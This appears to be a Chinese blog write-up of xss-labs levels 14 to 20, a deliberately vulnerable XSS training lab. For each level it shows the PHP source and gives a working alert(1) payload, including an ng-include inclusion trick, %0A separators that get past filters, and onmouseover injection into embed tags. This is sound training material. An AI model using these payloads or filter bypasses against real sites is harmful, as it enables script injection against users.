0%

xss-labs2

14

这个题目中的url失效了,考察的是exif xss

exif介绍:

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

exif xss 简单来讲就是利用exif信息实现xss攻击。

1
2
3
4
5
6
7
8
9
10
<html>
<body>

<p>
xss
<img src=12 onclick='alert(1)'/>
</p>

</body>
</html>



15

1
2
3
4
5
6
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。 ng-include 属性的值可以是一个表达式,返回一个文件名。 默认情况下,包含的文件需要包含在同一个域名下。

这里考虑调用level1的代码,使用img

http://test.ctf8.com/level15.php?src=%27level1.php?name=test<img src=1 onclick=alert(1)>'



1
2
3
4
5
6
7
8
9
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

过滤掉了script, 空格和/可以考虑使用%0A,%0C,%0D等代替作为分隔符

keyword=test<img%0Asrc=1%0Aonclick=alert(1)>


16题以后的题目都需要使用flash,好多浏览器已经不支持了,后面的就随便看看

1
2
3
4
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

arg01=a&arg02= onmouseover=alert(1)

1
2
3
4
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

和17题一样

arg01=a&arg02= onmouseover=alert(1)

1
2
3
4
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>


1
2
3
4
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------